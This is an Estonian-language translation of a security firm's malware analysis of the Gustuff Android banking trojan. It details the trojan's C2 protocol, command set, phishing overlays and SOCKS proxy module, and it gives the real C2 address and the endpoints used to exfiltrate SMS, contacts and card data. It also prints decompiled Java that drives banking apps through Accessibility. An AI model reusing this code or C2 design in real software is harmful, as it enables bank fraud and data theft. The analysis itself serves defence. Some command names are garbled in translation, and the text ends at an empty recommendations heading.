Kuidas Androidi troojalane Gustuff teie kontodelt koore (fiat ja krüpto) võtab

Kuidas Androidi troojalane Gustuff teie kontodelt koore (fiat ja krüpto) võtab

Just teisel päeval Group-IB teatatud mobiilse Android Trooja Gustuffi tegevuse kohta. See töötab eranditult rahvusvahelistel turgudel, rünnates 100 suurima välispanga kliente, mobiilsete 32 krüptorahakottide kasutajaid, aga ka suuri e-kaubanduse ressursse. Aga Gustuffi arendaja on vene keelt kõnelev küberkurjategija hüüdnime Bestoffer all. Kuni viimase ajani kiitis ta oma troojalast kui "tõsist toodet teadmiste ja kogemustega inimestele".

Grupi IB pahatahtliku koodi analüüsi spetsialist Ivan Pisarev oma uurimistöös räägib ta üksikasjalikult, kuidas Gustuff töötab ja millised on selle ohud.

Keda Gustuff jahib?

Gustuff kuulub täielikult automatiseeritud funktsioonidega uue põlvkonna pahavara hulka. Arendaja sõnul on troojalasest saanud AndyBoti pahavara uus ja täiustatud versioon, mis alates 2017. aasta novembrist on rünnanud Android-telefone ja varastanud raha läbi õngitsemise veebivormide, mis maskeeruvad tuntud rahvusvaheliste pankade ja maksesüsteemide mobiilirakendusteks. Bestoffer teatas, et Gustuff Boti rendihind oli 800 dollarit kuus.

Gustuffi proovi analüüs näitas, et troojalane on potentsiaalselt suunatud klientidele, kes kasutavad suurimate pankade mobiilirakendusi, nagu Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, aga ka krüptorahakotte. Bitcoin Wallet, BitPay, Cryptopay, Coinbase jne.

Algselt loodud klassikalise pangandustroojana, praeguses versioonis on Gustuff oluliselt laiendanud potentsiaalsete rünnakuobjektide nimekirja. Lisaks Androidi rakendustele pankadele, fintech-ettevõtetele ja krüptoteenustele on Gustuff suunatud tururakenduste, veebipoodide, maksesüsteemide ja kiirsõnumite kasutajatele. Eelkõige PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut jt.

Sisenemispunkt: massilise nakatumise arvutamine

Gustuffi iseloomustab "klassikaline" Android-nutitelefonidesse tungimise vektor SMS-postituste kaudu, millel on linke APK-dele. Kui Android-seade on serveri käsul nakatatud troojalasega, võib Gustuff levida edasi nakatunud telefoni kontaktide andmebaasi või serveri andmebaasi kaudu. Gustuffi funktsioon on mõeldud massiliseks nakatumiseks ja operaatorite äritegevuse maksimaalseks kapitaliseerimiseks - sellel on ainulaadne "automaatse täitmise" funktsioon legitiimsetesse mobiilipanga rakendustesse ja krüptorahakottidesse, mis võimaldab teil rahavargusi kiirendada ja skaleerida.

Trooja uurimine näitas, et automaatse täitmise funktsioon rakendati selles puuetega inimestele mõeldud teenuse Accessibility Service abil. Gustuff ei ole esimene troojalane, kes on edukalt mööda saanud kaitsest teiste seda Androidi teenust kasutavate rakenduste aknaelementidega suhtlemise eest. Ligipääsetavuse teenuse kasutamine koos autotäitega on siiski üsna haruldane.

Pärast ohvri telefoni allalaadimist suudab Gustuff juurdepääsetavuse teenust kasutades suhelda teiste rakenduste aknaelementidega (pangandus, krüptovaluuta, aga ka veebiostude, sõnumite saatmise jne rakendused), sooritades ründajatele vajalikke toiminguid. . Näiteks võib troojalane serveri käsul vajutada nuppe ja muuta pangarakenduste tekstiväljade väärtusi. Juurdepääsetavusteenuse mehhanismi kasutamine võimaldab troojal mööduda turvamehhanismidest, mida pangad kasutavad eelmise põlvkonna mobiilsete troojalaste vastu võitlemiseks, samuti Google'i poolt Android OS-i uutes versioonides rakendatud turbepoliitika muudatustest. Seega Gustuff "teab, kuidas" Google Protecti kaitset keelata: autori sõnul töötab see funktsioon 70% juhtudest.

Kuidas Androidi troojalane Gustuff teie kontodelt koore (fiat ja krüpto) võtab

Gustuff saab kuvada ka võltsitud PUSH-teatisi koos seaduslike mobiilirakenduste ikoonidega. Kasutaja klõpsab PUSH teatisel ja näeb serverist alla laaditud andmepüügi akent, kuhu sisestab küsitud pangakaardi või krüptorahakoti andmed. Teise Gustuffi stsenaariumi korral avatakse rakendus, mille nimel PUSH-teatis kuvati. Sel juhul saab pahavara ligipääsetavuse teenuse kaudu serveri käsul täita pangarakenduse vormiväljad petturliku tehingu puhul.

Gustuffi funktsioonid hõlmavad ka nakatunud seadme kohta teabe saatmist serverisse, SMS-sõnumite lugemise/saatmise võimalust, USSD päringute saatmist, SOCKS5 puhverserveri käivitamist, lingi jälgimist, failide (sh dokumentide skaneeringud, ekraanipildid, fotod) saatmist server, lähtestage seadme tehaseseaded.

Pahavara analüüs

Enne pahatahtliku rakenduse installimist näitab Android OS kasutajale akent, mis sisaldab Gustuffi taotletud õiguste loendit:

Kuidas Androidi troojalane Gustuff teie kontodelt koore (fiat ja krüpto) võtab
Rakendus installitakse alles pärast kasutaja nõusoleku saamist. Pärast rakenduse käivitamist näitab trooja kasutajale järgmist akent:

Kuidas Androidi troojalane Gustuff teie kontodelt koore (fiat ja krüpto) võtab
Pärast seda eemaldab see oma ikooni.

Gustufi pakib autori sõnul FTT pakkija. Pärast käivitamist võtab rakendus käskude vastuvõtmiseks perioodiliselt ühendust CnC-serveriga. Mitmed uuritud failid kasutasid juhtserverina IP-aadressi 88.99.171[.]105 (edaspidi tähistame seda kui <%CnC%>).

Pärast käivitamist hakkab programm serverisse sõnumeid saatma http://<%CnC%>/api/v1/get.php.

Eeldatakse, et vastus on JSON järgmises vormingus:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Iga kord, kui rakendust külastatakse, saadab see teavet nakatunud seadme kohta. Sõnumi vorming on näidatud allpool. Väärib märkimist, et väljad täis, lisatasu, apps и luba – valikuline ja saadetakse ainult CnC päringukäsu korral.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfiguratsiooniandmete salvestamine

Gustuff salvestab operatiivselt olulise teabe eelistusfaili. Faili nimi ja ka selles olevate parameetrite nimed on stringi MD5 summa arvutamise tulemus 15413090667214.6.1<%name%>Kus <%name%> — esialgne nimiväärtus. Nime genereerimise funktsiooni Pythoni tõlgendus:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Järgnevalt tähistame seda kui nimigeneraator(sisend).
Nii et esimene failinimi on: nameGenerator("API_SERVER_LIST"), sisaldab see väärtusi järgmiste nimedega:

Muutuja nimi Väärtus
nameGenerator("API_SERVER_LIST") Sisaldab CnC-aadresside loendit massiivi kujul.
nameGenerator("API_SERVER_URL") Sisaldab CnC aadressi.
nameGenerator("SMS_UPLOAD") Lipp on vaikimisi seatud. Kui lipp on seatud, saadab CnC-le SMS-sõnumid.
nimegeneraator("SMS_ROOT_NUMBER") Telefoninumber, millele saadetakse nakatunud seadmele saabunud SMS-sõnumid. Vaikimisi on null.
nimegeneraator("SMS_ROOT_NUMBER_RESEND") Lipp kustutatakse vaikimisi. Kui nakatunud seade saab SMS-i, kui see on installitud, saadetakse see juurnumbrile.
nameGenerator ("DEFAULT_APP_SMS") Lipp kustutatakse vaikimisi. Kui see lipp on määratud, töötleb rakendus sissetulevaid SMS-sõnumeid.
nimegeneraator("DEFAULT_ADMIN") Lipp kustutatakse vaikimisi. Kui lipp on seatud, on rakendusel administraatori õigused.
nameGenerator("DEFAULT_ACCESSIBILITY") Lipp kustutatakse vaikimisi. Kui lipp on seatud, töötab juurdepääsetavuse teenust kasutav teenus.
nameGenerator("APPS_CONFIG") JSON-objekt, mis sisaldab toimingute loendit, mis tuleb sooritada, kui käivitatakse konkreetse rakendusega seotud juurdepääsetavuse sündmus.
nameGenerator ("APPS_INSTALLED") Salvestab seadmesse installitud rakenduste loendi.
nameGenerator("IS_FIST_RUN") Lipp nullitakse esimesel stardil.
nimegeneraator("UNIKALNE_ID") Sisaldab unikaalset identifikaatorit. Loodud roboti esmakordsel käivitamisel.

Serveri käskude töötlemise moodul

Rakendus salvestab CnC-serverite aadressid massiivi kujul, mille kodeerib Alus85 read. CnC-serverite loendit saab muuta vastava käsu saamisel, sel juhul salvestatakse aadressid eelistusfaili.

Vastuseks päringule saadab server rakendusele käsu. Väärib märkimist, et käsud ja parameetrid esitatakse JSON-vormingus. Rakendus saab töödelda järgmisi käske:

Meeskond Kirjeldus
edasiStart Alustage nakatunud seadme poolt vastu võetud SMS-sõnumite saatmist CnC-serverisse.
edasiStop Lõpetage nakatunud seadme poolt vastu võetud SMS-sõnumite saatmine CnC-serverisse.
ussdRun Käivitage USSD taotlus. Number, millele peate USSD päringu esitama, asub JSON-i väljal “number”.
saada SMS Saada üks SMS sõnum (vajadusel jagatakse sõnum osadeks). Parameetrina võtab käsk JSON-objekti, mis sisaldab välju "to" - sihtkoha number ja "body" - sõnumi sisu.
sendSmsAb Saada SMS-sõnumeid (vajadusel jagatakse sõnum osadeks) kõigile, kes on nakatunud seadme kontaktiloendis. Sõnumite saatmise vaheline intervall on 10 sekundit. Sõnumi sisu on JSON-i väljal "body"
saataSmsMass Saatke SMS-sõnumid (vajadusel jagatakse sõnum osadeks) käsuparameetrites määratud kontaktidele. Sõnumite saatmise vaheline intervall on 10 sekundit. Käsk võtab parameetrina JSON-massiivi (väli "sms"), mille elemendid sisaldavad välju "to" - sihtkoha number ja "body" - sõnumi sisu.
ChangeServer See käsk võib võtta väärtuse, mille parameetriks on võti “url” – siis muudab robot nimegeneraatori (“SERVER_URL”) või massiivi väärtust – siis kirjutab bot massiivi nimegeneraatorisse (“API_SERVER_LIST”). Seega muudab rakendus CnC-serverite aadresse.
adminNumber Käsk on loodud töötama juurnumbriga. Käsk aktsepteerib JSON-objekti järgmiste parameetritega: "number" - muutke nimiGenerator ("ROOT_NUMBER") vastuvõetud väärtuseks, "send" - muuda nimegeneraatorit ("SMS_ROOT_NUMBER_RESEND"), "sendId" - saatke nimegeneraatorile ("ROOT_NUMBER") ) unikaalne ID.
Uuenda infot Saada serverisse teave nakatunud seadme kohta.
Puhasta andmetest Käsk on mõeldud kasutajaandmete kustutamiseks. Olenevalt sellest, mis nimega rakendus käivitati, kustutatakse seadme taaskäivitamisel andmed täielikult (peakasutaja) või kustutatakse ainult kasutajaandmed (teisene kasutaja).
sokidAlusta Käivitage puhverserveri moodul. Mooduli tööd kirjeldatakse eraldi jaotises.
sokidStopp Peatage puhverserveri moodul.
openLink Järgige linki. Link asub JSON-i parameetris võtme „url” all. Lingi avamiseks kasutatakse "android.intent.action.VIEW".
laadige üles kõik SMS-id Saada kõik seadme poolt vastuvõetud SMS-sõnumid serverisse.
laadige üles kõik fotod Saatke pilte nakatunud seadmest URL-ile. URL tuleb parameetrina.
faili üles laadima Saatke fail nakatunud seadmest URL-ile. URL tuleb parameetrina.
telefoninumbrite üleslaadimine Saatke telefoninumbrid oma kontaktiloendist serverisse. Kui parameetrina võetakse vastu JSON-objekti väärtus võtmega “ab”, saab rakendus telefoniraamatust kontaktide loendi. Kui parameetrina võetakse vastu JSON-objekt võtmega “sms”, loeb rakendus SMS-sõnumite saatjate kontaktide loendit.
muudaArhiivi Rakendus laadib faili alla parameetrina toodud aadressilt, kasutades klahvi "url". Allalaaditud fail salvestatakse nimega "archive.zip". Seejärel pakib rakendus faili lahti, kasutades valikuliselt arhiivi parooli “b5jXh37gxgHBrZhQ4j3D”. Lahtipakkitud failid salvestatakse [välismälu]/hgps kataloogi. Selles kataloogis salvestab rakendus veebivõltsinguid (kirjeldatud allpool).
meetmete Käsk on loodud töötama koos Action Service'iga, mida kirjeldatakse eraldi jaotises.
test Mitte midagi tegemata.
lae alla Käsk on mõeldud faili allalaadimiseks kaugserverist ja salvestamiseks kataloogi "Allalaadimised". URL ja failinimi tulevad parameetritena, JSON-i parameetriobjekti väljad vastavalt: "url" ja "fileName".
kõrvaldama Eemaldab faili kataloogist "Allalaadimised". Failinimi tuleb JSON-i parameetris koos võtmega „fileName”. Standardne failinimi on "tmp.apk".
teade Kuva märguanne koos haldusserveri määratletud kirjelduse ja pealkirja tekstidega.

Käsuvorming teade:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Uuritava faili genereeritud teatis näeb välja identne väljal määratud rakenduse genereeritud teadetega app. Kui välja väärtus openApp — Tõsi, teatise avamisel käivitub väljal määratud rakendus app. Kui välja väärtus openApp — Vale, siis:

  • Avaneb andmepüügi aken, mille sisu laaditakse kataloogist alla <%väline salvestusruum%>/hgps/<%failinimi%>
  • Avaneb andmepüügi aken, mille sisu laaditakse serverist alla <%url%>?id=<%Boti ID%>&app=<%Rakenduse nimi%>
  • Avaneb andmepüügiaken, mis on maskeeritud Google Play kaardiks ja kus on võimalus sisestada kaardi andmed.

Rakendus saadab mis tahes käsu tulemuse aadressile <%CnC%>set_state.php JSON-objektina järgmises vormingus:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Käskude loend, mida rakendusprotsessid sisaldavad tegevus. Kui käsk on vastu võetud, pääseb käsutöötlusmoodul sellele teenusele juurde laiendatud käsu täitmiseks. Teenus aktsepteerib parameetrina JSON-objekti. Teenus saab täita järgmisi käske:

1. PARAMS_ACTION — sellise käsu saamisel saab teenus esmalt JSON-i parameetrilt tüübivõtme väärtuse, mis võib olla järgmine:

  • teenuseinfo – alamkäsk saab väärtuse võtme järgi JSON-parameetrist sisaldamaMitteOluline. Kui lipp on Tõene, määrab rakendus lipu FLAG_ISOLATED_PROCESS juurdepääsetavuse teenust kasutavale teenusele. Nii käivitatakse teenus eraldi protsessina.
  • juur — saada ja saata serverisse infot hetkel fookuses oleva akna kohta. Rakendus hangib teavet AccessibilityNodeInfo klassi abil.
  • admin — taotleda administraatori õigusi.
  • viivitus — peatada ActionsService klahvi “Data” parameetris määratud millisekundite arvuks.
  • aknad — saata kasutajale nähtavate akende loend.
  • paigaldama — installige rakendus nakatunud seadmesse. Arhiivipaketi nimi on võtmes “fileName”. Arhiiv ise asub allalaadimiste kataloogis.
  • globaalne – alamkäsk on ette nähtud praegusest aknast liikumiseks:
    • kiirseadete menüüs
    • tagasi
    • Kodu
    • teadete juurde
    • hiljuti avatud rakenduste aknasse

  • algatama - käivitage rakendus. Rakenduse nimi tuleb parameetrina võtme kaupa andmed.
  • helid — muutke helirežiimiks vaikus.
  • avamine — lülitab ekraani ja klaviatuuri taustvalgustuse täis eredusele sisse. Rakendus teostab selle toimingu WakeLocki abil, määrates sildina stringi [Application label]:INFO
  • lubaOverlay — funktsiooni ei rakendata (vastus käsu täitmisele on {"message":"Not support"} või {"message":"low sdk"})
  • žest — funktsiooni ei rakendata (vastus käsu täitmisele on {"message":"Not support"}või {"message":"Low API"})
  • Õigused — see käsk on vajalik rakendusele õiguste taotlemiseks. Päringufunktsiooni aga ei rakendata, seega on käsk mõttetu. Taotletud õiguste loend on JSON-massiivina koos võtmega "load". Standardne loend:
    • android.luba.READ_PHONE_STATE
    • android.luba.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • avatud — andmepüügiakna kuvamine. Sõltuvalt serverist tulevast parameetrist võib rakendus kuvada järgmised andmepüügiaknad:
    • Näitab andmepüügiakent, mille sisu on kirjutatud kataloogis olevasse faili <%väline kataloog%>/hgps/<%param_filename%>. Kasutaja aknaga suhtlemise tulemus saadetakse aadressile <%CnC%>/records.php
    • Näitab andmepüügiakent, mille sisu on aadressilt eellaaditud <%url_param%>?id=<%bot_id%>&app=<%paketinimi%>. Kasutaja aknaga suhtlemise tulemus saadetakse aadressile <%CnC%>/records.php
    • Kuvage Google Play kaardiks maskeeritud andmepüügiaken.

  • interaktiivne — käsk on loodud suhtlema teiste rakenduste aknaelementidega, kasutades AcessibilityService'i. Programmis on interaktsiooni jaoks rakendatud eriteenus. Uuritav rakendus võib suhelda akendega:
    • Hetkel aktiivne. Sel juhul sisaldab parameeter selle objekti ID-d või teksti (nime), millega peate suhtlema.
    • Nähtav kasutajale käsu täitmise ajal. Rakendus valib aknad ID järgi.

    Olles saanud esemed AccessibilityNodeInfo Huvipakkuvate aknaelementide puhul saab rakendus sõltuvalt parameetritest teha järgmisi toiminguid:

    • fookus — määrake fookus objektile.
    • klõps – objektil klõpsamine.
    • actionId — toimingu sooritamine ID järgi.
    • setText — objekti teksti muutmine. Teksti muutmine on võimalik kahel viisil: sooritage toiming ACTION_SET_TEXT (kui nakatunud seadme Androidi versioon on noorem või võrdne LOLLIPOP) või asetades stringi lõikelauale ja kleepides selle objekti (vanemate versioonide puhul). Seda käsku saab kasutada pangarakenduses andmete muutmiseks.

2. PARAMS_ACTIONS - sama nagu PARAMS_ACTION, saabub ainult JSON-i käskude massiiv.

Tundub, et paljud inimesed on huvitatud sellest, kuidas näeb välja mõne teise rakenduse aknaelementidega suhtlemise funktsioon. Seda funktsiooni rakendatakse Gustuffis järgmiselt:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksti asendamise funktsioon:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Seega saab Gustuff kontrollserveri õige konfiguratsiooni korral täita pangarakenduses tekstivälju ja klõpsata tehingu sooritamiseks vajalikke nuppe. Troojalane ei pea isegi rakendusse sisse logima – piisab PUSH-teate kuvamiseks käsu saatmisest ja seejärel eelnevalt installitud pangarakenduse avamisest. Kasutaja autentib end, misjärel saab Gustuff auto täita.

SMS-sõnumite töötlemise moodul

Rakendus installib nakatunud seadmele SMS-sõnumite vastuvõtmiseks sündmuste käitleja. Uuritav rakendus võib saada operaatorilt käske, mis tulevad SMS-sõnumi sisusse. Käsud on järgmises vormingus:

7!5=<%Base64 kodeeritud käsk%>

Rakendus otsib stringi kõigist sissetulevatest SMS-idest 7!5=, kui string tuvastatakse, dekodeerib see Base64 stringi nihkes 4 ja täidab käsu. Käsud on sarnased CnC käsuga. Täitmise tulemus saadetakse samale numbrile, kust käsk tuli. Vastuse formaat:

7*5=<%Base64 "käsu tulemuse_kood"%> kodeering

Valikuliselt saab rakendus saata kõik vastuvõetud sõnumid juurnumbrile. Selleks tuleb eelistusfailis määrata Root number ja määrata sõnumite ümbersuunamise lipp. Ründaja numbrile saadetakse SMS-sõnum järgmises vormingus:

<%Arvest%> – <%Aeg, vorming: pp/MM/yyyy HH:mm:ss%> <%SMS body%>

Samuti saab rakendus valikuliselt saata sõnumeid CnC-le. SMS-sõnum saadetakse serverisse JSON-vormingus:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Kui lipp on seatud nameGenerator ("DEFAULT_APP_SMS") – rakendus lõpetab SMS-sõnumi töötlemise ja tühjendab sissetulevate sõnumite loendi.

Puhverserveri moodul

Uuritav rakendus sisaldab Backconnect Proxy moodulit (edaspidi Proxy moodul), millel on eraldi klass, mis sisaldab staatilisi välju koos konfiguratsiooniga. Konfiguratsiooniandmed salvestatakse näidis selgel kujul:

Kuidas Androidi troojalane Gustuff teie kontodelt koore (fiat ja krüpto) võtab

Kõik puhverserveri mooduli toimingud logitakse failidesse. Selleks loob välismälu rakendus kataloogi nimega “logs” (konfiguratsiooniklassi väli ProxyConfigClass.logsDir), kuhu salvestatakse logifailid. Logimine toimub failides, mille nimed on:

  1. main.txt – sellesse faili on sisse logitud klassi töö nimega CommandServer. Alljärgnevalt tähistatakse stringi str sellesse faili logimist kui mainLog(str).
  2. seanss-<%id%>.txt — see fail salvestab konkreetse puhverserveri seansiga seotud logiandmed. Alljärgnevalt tähistatakse stringi str sellesse faili logimist kui sessionLog (str).
  3. server.txt – seda faili kasutatakse kõigi ülalkirjeldatud failidesse kirjutatud andmete logimiseks.

Logiandmete vorming:

<%Date%> [Tread[<%thread id%>], id[]]: log-string

Proksimooduli töötamise ajal esinevad erandid logitakse samuti faili. Selleks loob rakendus JSON-objekti järgmises vormingus:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Seejärel teisendab see stringi esitusviisiks ja logib selle.

Puhverserveri moodul käivitatakse pärast vastava käsu saamist. Kui saabub käsk puhverserveri mooduli käivitamiseks, käivitab rakendus kutsutud teenuse Põhiteenus, mis vastutab puhverserveri mooduli töö haldamise – selle käivitamise ja seiskamise eest.

Teenuse käivitamise etapid:

1. Käivitab taimeri, mis töötab kord minutis ja kontrollib puhverserveri mooduli tegevust. Kui moodul pole aktiivne, käivitab see selle.
Ka siis, kui sündmus käivitatakse android.net.conn.CONNECTIVITY_CHANGE Puhverserveri moodul käivitatakse.

2. Rakendus loob parameetriga äratusluku PARTIAL_WAKE_LOCK ja võtab ta kinni. See takistab seadme CPU-l puhkerežiimi minekut.

3. Käivitab puhverserveri mooduli käskude töötlemise klassi, logides esmalt rea mainLog("käivita server") и

Server::start() host[<%proxy_cnc%>], käsuport[<%command_port%>], proxyPort[<%proxy_port%>]

kus proxy_cnc, command_port ja proxy_port – puhverserveri konfiguratsioonist saadud parameetrid.

Kutsutakse käskude töötlemise klassi CommandConnection. Kohe pärast käivitamist teostab järgmised toimingud:

4. Ühendab ProxyConfigClass.host: ProxyConfigClass.commandPort ja saadab sinna andmed nakatunud seadme kohta JSON-vormingus:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Kui:

  • id – identifikaator, proovib saada väärtust väljaga "id" Shared Preference failist nimega "x". Kui seda väärtust ei õnnestunud saada, genereerib see uue. Seega on puhverserveri moodulil oma identifikaator, mis genereeritakse sarnaselt Boti ID-ga.
  • imei — seadme IMEI. Kui väärtuse hankimise käigus ilmnes tõrge, kirjutatakse selle välja asemel veateade.
  • imsi — seadme rahvusvahelise mobiiliabonendi identiteet. Kui väärtuse hankimise käigus ilmnes tõrge, kirjutatakse selle välja asemel veateade.
  • mudel – lõpptoote lõppkasutajale nähtav nimi.
  • tootja — toote/riistvara tootja (Build.MANUFACTURER).
  • androidVersion – string vormingus "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • riik – seadme praegune asukoht.
  • partnerId on tühi string.
  • packageName – paketi nimi.
  • networkType — praeguse võrguühenduse tüüp (näide: “WIFI”, “MOBIIL”). Vea korral tagastab null.
  • hasGsmSupport – tõene – kui telefon toetab GSM-i, muidu väär.
  • simReady – SIM-kaardi olek.
  • simCountry – ISO riigikood (põhineb SIM-kaardi pakkujal).
  • networkOperator — operaatori nimi. Kui väärtuse hankimise käigus ilmnes tõrge, kirjutatakse selle välja asemel veateade.
  • simOperator – teenusepakkuja nimi (SPN). Kui väärtuse hankimise käigus ilmnes tõrge, kirjutatakse selle välja asemel veateade.
  • versioon - see väli on salvestatud konfiguratsiooniklassi; roboti testitud versioonide puhul oli see võrdne väärtusega 1.6.

5. Lülitub serverilt käskude ootamise režiimile. Serveri käsud on järgmises vormingus:

  • 0 nihe – käsk
  • 1 nihe – sessionId
  • 2 nihe – pikkus
  • 4 nihe - andmed

Kui käsk saabub, logib rakendus:
mainLog("Päis { sessionId<%id%>], tüüp[<%command%>], pikkus[<%length%>] }")

Võimalikud on järgmised serveri käsud:

Nimi käsk kuupäev Kirjeldus
ühenduse ID 0 Ühenduse ID Looge uus ühendus
UNI 3 aeg Peatage puhverserveri moodul
LAUATENNIS 4 - Saada PONG-sõnum

PONG-sõnum koosneb 4 baidist ja näeb välja järgmine: 0x04000000.

Kui ühenduse ID käsk on vastu võetud (uue ühenduse loomiseks) CommandConnection loob klassi eksemplari Puhverserveri ühendus.

  • Puhverserveris osaleb kaks klassi: Puhverserveri ühendus и lõpp. Klassi loomisel Puhverserveri ühendus aadressiga ühenduse loomine ProxyConfigClass.host: ProxyConfigClass.proxyPort ja JSON-objekti edastamine:

 {
    "id":<%connectionId%>
}

Vastuseks saadab server SOCKS5 sõnumi, mis sisaldab kaugserveri aadressi, millega tuleb ühendus luua. Selle serveriga suhtlemine toimub klassi kaudu lõpp. Ühenduse seadistust saab skemaatiliselt kujutada järgmiselt:

Kuidas Androidi troojalane Gustuff teie kontodelt koore (fiat ja krüpto) võtab

Võrgustiku interaktsioonid

Võrgu nuusutajate liiklusanalüüsi vältimiseks saab CnC-serveri ja rakenduse vahelist suhtlust kaitsta SSL-protokolli abil. Kõik serverist ja serverisse edastatavad andmed esitatakse JSON-vormingus. Rakendus täidab töö ajal järgmisi päringuid:

  • http://<%CnC%>/api/v1/set_state.php — käsu täitmise tulemus.
  • http://<%CnC%>/api/v1/get.php - käsu saamine.
  • http://<%CnC%>/api/v1/load_sms.php — SMS-sõnumite allalaadimine nakatunud seadmest.
  • http://<%CnC%>/api/v1/load_ab.php — kontaktide loendi üleslaadimine nakatunud seadmest.
  • http://<%CnC%>/api/v1/aevents.php – päring esitatakse eelistusfailis asuvate parameetrite värskendamisel.
  • http://<%CnC%>/api/v1/set_card.php — Google Play turuks maskeeritud andmepüügiakna abil saadud andmete üleslaadimine.
  • http://<%CnC%>/api/v1/logs.php – logiandmete üleslaadimine.
  • http://<%CnC%>/api/v1/records.php – andmepüügiakende kaudu saadud andmete üleslaadimine.
  • http://<%CnC%>/api/v1/set_error.php – teatamine tekkinud veast.

Soovitused

